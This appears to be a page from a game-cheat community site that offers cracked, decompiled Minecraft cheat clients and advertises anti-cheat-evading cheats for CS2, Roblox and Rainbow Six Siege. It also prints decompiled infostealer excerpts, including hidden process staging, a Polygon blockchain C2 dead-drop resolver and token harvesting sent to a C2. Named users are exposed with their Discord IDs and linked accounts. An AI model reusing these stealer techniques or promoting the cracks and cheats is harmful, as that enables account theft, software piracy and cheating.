ZincSec — Client Archive & Threat Intelligence

Verified Clean Release Release ID: ZS-REL-01

Petey Addon v0.10.8 (Decompiled Archive)

Clean decompiled Java source tree for Meteor Client on Fabric Minecraft 1.21.11. Rigorously vetted through CFR decompilation—no crypted classes, zero dead-drops, zero network exfiltration hooks.

Target Runtime

Fabric Loader >=0.16.5 • Minecraft 1.21.11

Archive Size

1,563,228 bytes (1.49 MB)

SHA-256 Digest

93d6232c7f53675f284e9c70425890e7a274579c8f00049f7e8a9f6d4821a007

Audit Verdict

Clean: 0 suspicious manifest initializers • Passed sandbox

Download Verified JAR (1.49 MB) Inspect Sources in Discord

REVERSE ENGINEERING PIPELINE Queue: Open

Cracked Clients & Reverse Engineering Hub

To protect community members from weaponized token loggers, we do not host unvetted cracked binaries on public links. Instead, paid client loaders submitted to our Discord server are deobfuscated and analyzed inside isolated VMs before any clean code is released.

01 / SUBMIT

Private Ticket

Submit paid client loaders or obfuscated JARs via Discord ticket.

02 / UNPACK

Bytecode Audit

Decompiled via CFR and Vineflower to inspect manifests & entrypoints.

03 / VERIFY

Network Sandbox

Wireshark traffic analysis to ensure zero blockchain RPCs or Discord hooks.

04 / PUBLISH

Clean Release

Published with cryptographic SHA-256 hash or flagged to Threat Matrix.

Open Submission Ticket (discord.gg/TzzRd46z3)

DirectX 11 • Testing

CS2 External Overlay

DirectX 11 hardware overlay, view-matrix ESP projection, view-angle smoothing, and recoil calibration. Reads memory externally without in-process injection.

Hyperion • Cloaking

Roblox External Suite

Hyperion-safe 64-bit external memory reader with skeleton bone projection, chams toggle, and target prediction engine. Finalizing cloak routines.

BattlEye • Calibration

Rainbow Six Siege External

BattlEye-adjacent memory reader, spectator bypass, player skeleton projection, and zero-recoil compensation. Recalibrating dynamic AOB sigscan offsets.

DEFCON 1 // 3 CONFIRMED RATTERS Immutable Polygon Ledger: 0x9c0a...ff9a

Confirmed Ratters & Infostealer Threat Matrix

The three operatives below were confirmed through bytecode decompilation to be actively distributing SilentNet infostealers to community members. All three campaigns route to the exact same Polygon blockchain smart contract. Select an operative card to inspect their complete forensic dossier.

ACTIVE DOSSIER

CASE #01 • ANBS

Anubisismygoat

@anuisisgoated

Payload: Anubis Client 1.0 (2).jar
Threat: EtherHiding Infostealer / Polygon C2

ACTIVE DOSSIER

CASE #02 • EXD

Exd tiin

@exdtiin

Payload: Anubis Beta 0.9.9.1.jar
Threat: Fake Mod Container / Dropper

ACTIVE DOSSIER

CASE #03 • RRG

~ rrg ~

@rrgaviation

Payload: CorzLauncher.jar (14.94 MB)
Threat: 15.59 MB Bundled Python Stealer

View Case:

Anubisismygoat (@anuisisgoated)

Discord Snowflake: 1566171998877388851 • Case ID: #2026-ANBS

CVSS 9.8 Critical Threat

SilentNet

Malware Family

EtherHiding

C2 Infrastructure

5 Classes

Injected Bytecode

Discord Core

Electron Poisoning

DECOMPILED CFR FORENSICS // net.fabric.ulsbFforrKkwr & byGojjex MALICIOUS

// Stage 1: Local Staging & Hidden Detached Process Launch Path staging = Path.of(System.getenv("LOCALAPPDATA"), "Microsoft", "Windows", "NtProfileIndex"); ProcessBuilder pb = new ProcessBuilder(javaw, "-cp", jarPath, "net.fabric.ulsbFforrKkwr", "-restarted"); pb.redirectInput(ProcessBuilder.Redirect.from(new File("NUL"))); pb.start(); // Stage 2: Immutable Blockchain C2 Dead-Drop Resolver String rpc = "https://polygon.drpc.org"; String contract = "0x9c0a507300fd902787bb193d80fca5ce6e1bff9a"; // Polygon Mainnet Smart Contract String payload = "https://" + dynamicC2 + "/cdn/v2/9f4e7a2c1b8d.png";

Payload SHA-256

cd6bafde03967e6c9a16d3828464d8740a9330b1aac3f5e2405708728cba2082

Payload MD5

65ff37f833275e88a7534a634092efbe

Target Sample

Anubis Client 1.0 (2).jar

Smart Contract

0x9c0a507300fd902787bb193d80fca5ce6e1bff9a (Method: 0xce6d41de)

Direct Message Log Sending Backdoored Build🔍 Zoom

Discord Profile (ID 1566171998877388851)🔍 Zoom

~ rrg ~ (@rrgaviation)

Discord Snowflake: 1272895619924758561 • Case ID: #2026-RRG

Connections: Roblox cowboyhood6 • Steam exodus • Xbox CowboyYanni

CVSS 9.8 Critical Threat

Python Stealer

Bundled Payload

15.59 MB

assets/jooyqpcv.dat

id: "corz-gg"

Spoofed Client

Same Contract

0x9c0a...ff9a

DECOMPILED CFR FORENSICS // net.fabric.avgEsvhwp & assets/jooyqpcv.dat MALICIOUS

// Stage 1: Decompress embedded portable Python environment Inflater inf = new Inflater(); inf.setInput(assetBytes); // assets/jooyqpcv.dat (15,597,568 bytes) // Unpacks to %LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex\AppHost\main.py & python.exe // Stage 2: Background execution with session extraction ArrayList<String> cmd = new ArrayList<>(); cmd.add("python.exe"); cmd.add("AppHost/main.py"); cmd.add("-u"); cmd.add(resolvedC2); cmd.add("--mcInfo"); cmd.add(harvestedTokens); pb.redirectOutput(Path.of(stagingDir, "_spawn.log").toFile()); pb.start();

Payload SHA-256

7c82498d16d879d31c75a99242ba1788e42e875a2c8197e40ed5b2043deb2c93

Payload MD5

756a77475f325f96bd7fccd34fddb261

Target Sample

CorzLauncher.jar (14.94 MB / 15,668,340 bytes)

Smart Contract

0x9c0a507300fd902787bb193d80fca5ce6e1bff9a (Method: 0xce6d41de)

RPC Relays

polygon.drpc.org • polygon-bor-rpc.publicnode.com • 1rpc.io/matic • api.zan.top

Direct Message Log Sending CorzLauncher.jar🔍 Zoom

Discord Profile (ID 1272895619924758561)🔍 Zoom

Why Everything is Free & Clean

In this scene, 90% of free cheats are Discord token grabbers or stealer droppers made by kids running webhooks. Here is our operational guarantee:

1. Zero Subscription Extortion

Paying $30 to $50 monthly for gatekept source code or cheat subscriptions is absurd. ZincSec was created so anyone can inspect and test clean decompiled clients without paying reseller rent.

2. Zero Telemetry & Anti-RAT

Stealing Discord accounts, passwords, or hardware identifiers over game software is pathetic. We have zero interest in your personal data and preserve zero user tracking.

3. Independent Verification

Don't take our word for it. Every release is accompanied by raw decompiled Java sources and SHA-256 digests. Inspect in IntelliJ, run in a VM, or monitor outbound sockets in Wireshark.

Need Decompilations or Updates?

Join the Discord server to submit paid client loaders for reverse-engineering, track new releases, or verify threat intelligence.

Join ZincSec Discord (discord.gg/TzzRd46z3)

Verified Client Unlocks &
Crimeware Intelligence.

Petey Addon v0.10.8 (Decompiled Archive)